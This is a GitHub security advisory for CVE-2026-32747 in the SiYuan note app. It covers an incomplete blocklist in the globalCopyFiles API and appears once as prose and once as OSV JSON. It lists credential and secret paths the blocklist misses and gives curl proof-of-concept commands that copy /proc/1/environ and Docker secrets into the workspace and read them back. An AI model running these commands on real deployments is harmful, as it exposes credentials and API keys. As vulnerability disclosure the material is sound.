GHSA-H5VH-M7FG-W5H6

Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:58
VLAI?
Summary
SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets
Details

Summary

POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details

File: kernel/api/file.go - function globalCopyFiles

for i, src := range srcs {
    absSrc, _ := filepath.Abs(src)

    if util.IsSensitivePath(absSrc) {
        return
    }
    srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
    dest := filepath.Join(destDir, filepath.Base(src))
    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace
}

IsSensitivePath blocklist (kernel/util/path.go):

prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens |

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'

Docker secrets:

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'

Impact

An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

Severity ?
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:46:14Z",
    "nvd_published_at": "2026-03-19T21:17:10Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPOST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.\n\n### Details\nFile: kernel/api/file.go - function globalCopyFiles\n\n```go\nfor i, src := range srcs {\n    absSrc, _ := filepath.Abs(src)\n\n    if util.IsSensitivePath(absSrc) {\n        return\n    }\n    srcs[i] = absSrc\n}\ndestDir := filepath.Join(util.WorkspaceDir, destDir)\nfor _, src := range srcs {\n    dest := filepath.Join(destDir, filepath.Base(src))\n    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace\n}\n```\n\nIsSensitivePath blocklist (kernel/util/path.go):\n```go\nprefixes := []string{\"/etc/ssh\", \"/root\", \"/etc\", \"/var/lib/\", \"/.\"}\n```\n\n**Not blocked - exploitable targets:**\n| Path | Contains |\n|------|----------|\n| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |\n| /run/secrets/* | Docker Swarm / Compose injected secrets |\n| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |\n| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |\n| /tmp/ | Temporary files including tokens |\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"srcs\":[\"/proc/1/environ\"],\"destDir\":\"data/assets/\"}\u0027\n\ncurl -s -X POST http://localhost:6806/api/file/getFile \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"path\":\"/data/assets/environ\"}\u0027 | tr \u0027\\0\u0027 \u0027\\n\u0027\n```\n\n**Docker secrets:**\n```bash\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"srcs\":[\"/run/secrets/db_password\",\"/run/secrets/api_token\"],\"destDir\":\"data/assets/\"}\u0027\n```\n\n### Impact\nAn admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.",
  "id": "GHSA-h5vh-m7fg-w5h6",
  "modified": "2026-03-30T13:58:13Z",
  "published": "2026-03-16T18:46:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets"
}


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